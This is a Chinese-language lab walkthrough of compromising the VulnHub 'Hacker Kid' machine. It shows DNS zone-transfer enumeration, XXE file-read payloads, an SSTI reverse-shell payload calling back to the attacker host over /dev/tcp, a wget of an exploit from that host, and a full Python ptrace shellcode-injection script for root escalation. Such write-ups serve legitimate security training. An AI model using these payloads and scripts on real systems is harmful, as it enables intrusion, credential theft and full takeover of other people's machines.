靶機介紹
1)靶機地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
2)靶機難度:中
3)打靶目標: 取得 root 權限
4)涉及攻擊方法:主機發現、埠掃描、WEB資訊收集、DNS區域傳輸、XXE注入攻擊、PHP封裝器、SSTI模板注入、Capabilitie提權
5)本次靶機是一個OSCP風格的靶機,OSCP風格的靶機主要目的不是為了獲取flag,而是獲取root權限(提示:關注資訊搜集,不需要蠻力爆破,再每一步都有適當的提示),本次靶機主要介紹了XXE、SSTI、DNS AXFR等較新的漏洞攻擊方法,提權環節,用到了Capabilitie實作提權,
打靶程序
1)主機發現
# arp-scan -l

2)對目標主機進行全埠掃描

3)開放埠的服務版本掃描

? 注:Tornado是一個輕量級的python的web框架,注重性能和效率;DNS為域名決議服務,通常上網時,使用的是UDP的53埠,TCP的53埠一般在DNS服務器上也是開放的,但是TCP的53埠一般用于同一個域的兩臺域名服務器之間做資料同步、資料交換
? DNS的服務端軟體BIND 9.16.1存在遠程代碼執行漏洞(CVE-202--8625、CVE-2021-25261),但是沒有找到漏洞利用代碼,無法直接通過該漏洞獲取到服務器權限
4)針對DNS的UDP53埠進行掃描:掃描發現UDP的53埠也是開放的
# nmap -p53 -sU 192.168.56.114

5)對80埠的web頁面進行資訊搜集
①直接訪問靶機地址,回傳如下頁面
http://192.168.56.114/

②訪問網頁第一個鏈接start,回傳404,但是訪問index.php,又回傳了上面頁面,說明網站是通過php開發的,且目標主機存在index.php檔案
http://192.168.56.114/index.html #回傳404
http://192.168.56.114/index.php #跳轉至首頁
③訪問網頁第二個鏈接App,返現URL變為如下形式,#表示網頁中一個標記(通過該標記可以在同一個頁面插入標記對應的鏈接),把標記洗掉,直接訪問app.html,出現如下頁面
http://192.168.56.114/index.php#app.html
http://192.168.56.114/app.html

對上述頁面進行簡單測驗,任何按鈕都無任何相應
④訪問網頁第三個鏈接Form example ,回傳頁面如下:該頁面也未發現任何漏洞
http://192.168.56.114/form.html

⑤查看頁面源代碼,發現最下方的注釋中,出現了如下提示:頁面存在一個引數page_no,通過該引數進行訪問

⑥因page_no是一個引數名,通過引數名可猜測引數值有可能為1、2、3等數字,利用Burp進行抓包,然后通過Inturder模塊,對引數值進行爆破,發現當page_no=21時,頁面回傳了不同的資訊
http://192.168.56.114/?page_no=1

⑦對頁面進行訪問,頁面如下

? 通過提示可知,黑客通過DNS創建了一些子域名,而且通過子域名可以訪問到不同的web頁面,所以,決議來需要找到這些子域,而且提示資訊也給出了一個域名:hackers.blackhat.local
6)通過編輯hosts檔案,使其域名得到決議:設定本地域名決議后,通過域名訪問,發現獲取到的頁面和通過IP訪問獲取到的頁面一致
#vi /etc/hosts
192.168.56.114 hackers.blackhat.local
8)對目標服務器進行域名查詢(dig)
AXFR:向DNS服務器發送一個AXFR的請求,如果這個DNS服務器支持ASFR這個區域傳輸請求,就會把這臺服務器中指定DNS區域的所有DNS記錄(包括A記錄、CNAME記錄)回傳,即拿到了這個區域下所有的DNS記錄
# dig axfr @192.168.56.114 blackhat.local
因該服務器沒有做安全配置,使得該服務器存在一個axfr漏洞,即任何人發送asfr請求時,都會將服務器的DNS記錄回傳給客戶端

9)在本地hosts檔案中中添加上圖dig決議出的域名和IP對應關系
#vi hosts
192.168.56.114 hackers.blackhat.local
192.168.56.114 blackhat.local
192.168.56.114 hackerkid.blackhat.local
192.168.56.114 hacker.blackhat.local.blackhat.local
192.168.56.114 www.blackhat.local.
192.168.56.114 mail.blackhat.local
①發現通過域名hackerkid.blackhat.local訪問出現如下新的頁面
②通過IP訪問9999埠,顯示如下界面:測驗發現,通過域名:9999訪問,頁面全部都是如下頁面,因靶機作者提示,暴力破解無效,因此不做對該網頁的暴力破解測驗,遇到其他靶機出現如下登錄頁面,可以進行暴力破解測驗,
11)通過在如下頁面的表單提交相應資料:發現在email處,輸入任何格式的內容,都提示輸入有誤
①表單提交時,通過Burpx抓取對應資料包,如下
②XML資料如下:
根據抓取的資料包顯示:所有的資料都是通過XML檔案的方式提交,發送到目標服務器,但是郵件位置,無論發送任何資料,都有問題,因資料是通過XML方式提交,所以可以懷疑是否存在XXE漏洞,
補充:
①XXE漏洞介紹:xxe即xml的外部物體攻擊,一般針對xxe參考外部物體的場景,該漏洞型別主要針對服務器端接受客戶端提交的XML的資料格式,同時服務器端的XML格式的決議器本身存在漏洞或者決議器的規則存在漏洞,導致惡意用戶提價的惡意XML請求,發送到服務器,觸發了不應該執行的結果,
②XXE漏洞危害:xxe可以導致任意檔案讀取、可基于XXE攻擊結合SSRF、埠掃描、拒絕服務攻擊等其他攻擊手段
③XML:xml也是一種標記語言,但是xml相比于html語言更加的靈活(因為XML的標記可以是自定義的),通過這種自定義的方式,可以利用XML存盤、傳輸資料,甚至計算機編程語言中基本的資料結構都可以通過XML來進行結構化,表示該種資料結構,有時候XML也會應用在身份認證程序中,傳輸身份認證資訊,xml中的變數名可以通過標簽標記
④XXE漏洞存在原理:XML檔案可以包含dtd檔案結構,dtd主要用于定義XML的檔案結構以及其中包含的資料,同時dtd也可以從外部參考或加載外部的資源,如服務器中存放了某個特殊的檔案,包含某些機密的資訊,如果服務器存在XXE漏洞,那么攻擊者可以通過dtd讀取機密檔案,
⑤XXE漏洞挖掘最典型特征:向服務器提交一個資料,服務器原封不動的將資料回傳到了web界面,如果符合該特征,則可進行XXE漏洞的驗證(由于之前在email輸入的任何內容,最后都會回傳的web頁面,如果符合該條件,則有理由懷疑此處存在XXE漏洞.)
12)XXE漏洞測驗:在xml中插入對其他web資源的參考,并且讓web頁面,把插入的資源完整的回傳,
</--即把外部檔案file:///etc/passwd的內容賦值給xxe變數,并在email位置,對其的賦值修改為&xxe,如果存在xxe漏洞,則會把/etc/passwd的檔案內容顯示到web頁面上>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
根據上圖顯示,確實存在XXE漏洞;并且根據搜索發現,存在一個可以登錄的用戶saket
12)通過對saket用戶家目錄下各個檔案進行讀取,發現.bashrc檔案中存在一些系統基礎配置之外的內容,直接讀取檔案時,無法正常讀取,可通過PHP封裝器的方式(上一次打靶使用過)讀取出檔案內容
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
13)將讀取出的.bashrc檔案的base64編碼通過Burp的Decode功能,進行還原,通過還原在.bashrc檔案中,發現了如下資訊,即一個賬戶名和密碼
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
14)因目標系統未掃描到22埠,所以無法通過該用戶名和密碼登錄至目標服務器,嘗試使用該用戶名和密碼登錄其他應用,
①在目標IP:9999的web頁面中,也無法通過該用戶名和密碼進行登錄,
②通過觀察密碼,發現密碼中存在字符Saket,且該主機存在一個Saket用戶,嘗試通過用戶Saket和密碼Saket!#$%@!!登錄上述頁面,發現可以正常登錄,
14)通過對上述頁面的提示,猜測是否存在一個name的引數,進行測驗后,發現該頁面確實存在一個name引數,但是輸入任何的引數值都會原樣顯示到頁面上
http://192.168.56.114:9999/?name=Bob
結合上述頁面樣式的分析,猜測是否存在模板注入漏洞
補充:SSTI服務器端模板注入
①模板:把最終展示給用戶的頁面,先做好一些區域的定義,例如某個區域用于顯示用戶名、某些區域用于顯示用戶郵箱等,把某個頁面的展示,做成一個模板保存下來,接下來就可以在服務器端進行程式開發時,針對不同的用戶、用戶的郵件地址等資訊,取出資料后直接放置在之前模板定義是對應的固定區域上,按照這種方法,不同的用戶登錄,都按照相同的頁面版式,顯示各自的用戶名、郵件等資訊,通過模板的方式,可以極大的降低開發作業,
②一個模板本質是其實就是一個html的頁面,在body標簽中可以放置模板的占位符(變數),后端資料再傳輸到占位符的位置,按照固定的樣式顯示出來,如下模板的占位識別符號為{{}}表示,插入指令,使用{% %}占位符,不同的模板語言,占位識別符號可能有所不同
<html>
<body>
<h1>{{ list_title }}</h1h1>
<h2>{{ list_description }}</h2>
{% for item in item_list %}
{{ item }}
{{ if not loop.last }}
{% endfor %}
</body>
</html>
③常見的模板語言有jinjia2、Mako、Django、Twig、smarty等,不同的模板語言,在制定運算式、表示陳述句的符號等都不一樣
④SSTI模板漏洞場景:如果服務端代碼是按照如下方式撰寫,則服務端所有提交的資料,都會拼接在如下包含了模板元素的HTML中,因此可以完成對客戶端提交資料的篡改,將其修改成不同程式的代碼(類似SQL注入),即服務端對客戶端提交的資料沒有做任何的過濾,就拼接到了構造出的模板的頁面上,如果客戶端提交的代碼可以生效,則一般都可以獲取到反彈shell
from jinjia2 import Template
tmpl = Template("<html><h1>Hello " + user_input + "</h1></html>") print(tmpl.render())
15)對本次靶機的web頁面測驗程序中發現,每當對name引數名賦予不同的引數值的時候,回傳的頁面樣式基本相同,因此可懷疑此處存在SSTI服務器模板注入,
①測驗注入,使用如下通殺payload測驗是否存在SSTI模板注入(適用于幾乎所有的SSTI模板注入漏洞測驗)
{{1+adcxyz}}${1+adcxyz}<%1+abcxyz%>[abcxyz]
http://192.168.56.114:9999/?name={{1+adcxyz}}${1+adcxyz}<%1+abcxyz%>[abcxyz]
#解釋:
abcxyz寫任何字符都行,但最好使用無規律的字符組合,保證在目標服務器上沒有定義過該函式
當出現報錯資訊時,則表示存在SSTI模板注入
通過上述回傳的結果可知,服務器端使用的是tornado的web開發框架,web程式語言版本為python3.8
②驗證SSTI版本注入是否存在(通用)
${7*7},{{7*7}}
http://192.168.56.114:9999/?name=${7*7},{{7*7}}
測驗發現,前面的一段沒有被執行,原樣的回傳到了頁面上,但是之后的7*7被執行
③測驗其他數值,表示7*7該數學運算運算式被Python執行了
http://192.168.56.114:9999/?name={{7*7}}
16)構造一段代碼,使其在服務器端被執行,反彈回一個shell,通過如下代碼課時實作對模板進行注入
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}
①直接通過上述代碼進行測驗,發現沒有成功反彈shell(該現象為模板注入是經常出現的情況,出現此種現象可以對payload做一些編碼轉化)
192.168.56.114:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}
②將payload中的字符轉化為對應的ascii碼,使用ascii命令,可以查看字符的ascii碼
# ascii
編碼前:192.168.56.114:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"')}}
編碼后:192.168.56.114:9999/?name=192.168.56.114:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.103%2F4444%200%3E%261%22%27%29%7D%7D
編碼后,在kali進行監聽,則反彈shell成功,成功突破邊界
補充:
①Capabilitie功能介紹:主要用于權限管理,Linux內核2.2版本后引入,常用于把root用戶才能執行的特權操作,分成了40多個功能組,每個功能組都能單獨進行權限的指派,當用戶擁有每一種不同的權限時,如果某個程式被指派了某種特殊權限,即使用戶不是root賬號、root組成員、沒有任何suid、sgid權限,仍然可以執行某些特權操作,
#如下配置方式表示:設定當前賬號對/usr/bin/dumpcap程式(tcpdump抓包底層程式)具備cap_net_raw(抓包)、cap_net_admin(管理)的能力
setcap cap_net_raw,cap_net_admin /usr/bin/dumpcap
#該檔案詳細的說明了40多種Capabilitie功能組的權限設定,表示的功能
https://man7.org/linux/man-pages/man7/capabilities.7.html
②查看系統上所有的應用程式被賦予的Capabilitie權限
saket@ubuntu:~$ getcap -r / 2>/dev/null
17)查找目標靶機中saket用戶的所有的應用程式的Capabilitie權限
saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
18)在上述的應用程式Capabilitie權限中,cap_sys_ptrace可以用于提權使用,ptrace具備作業系統行程的動態除錯跟蹤的能力,而具備該能力的程式,都可以把系統當前運行的應用程式附加到上面,之后針對連接上的程式進行動態除錯等,
①在目標靶機上找到以root賬號來運行的系統行程,針對這些系統行程,使用python2.7的ptrace權限,把當前用戶權限提示至root
saket@ubuntu:~$ ps -aef|grep root
②下載利用該權限漏洞的python腳本
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
19)提權
原理:使用python2.7該應用程式的cap_sys_ptrace權限,呼叫行程注入的腳本inject.py,注入到剛才發現的以root用戶運行的系統運行的ID中
inject.py腳本作用:結合cap_sys_ptrace權限,把后門程式注入到以root用戶運行的系統行程中,后門注入成功后,會在本地開發一個偵聽埠,埠號為5600
①下載漏洞利用代碼,并進行利用
$ wget http://192.168.56.103/inject.py
$ python2.7 inject.py 890
saket@ubuntu:~$ ss -pantu|grep 5600 #查看是否開啟了5600埠,開啟表示已經注入成功了
②kali主機連接偵聽埠,獲取到root權限
# nc 192.168.56.114 5600
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/540011.html
標籤:其他
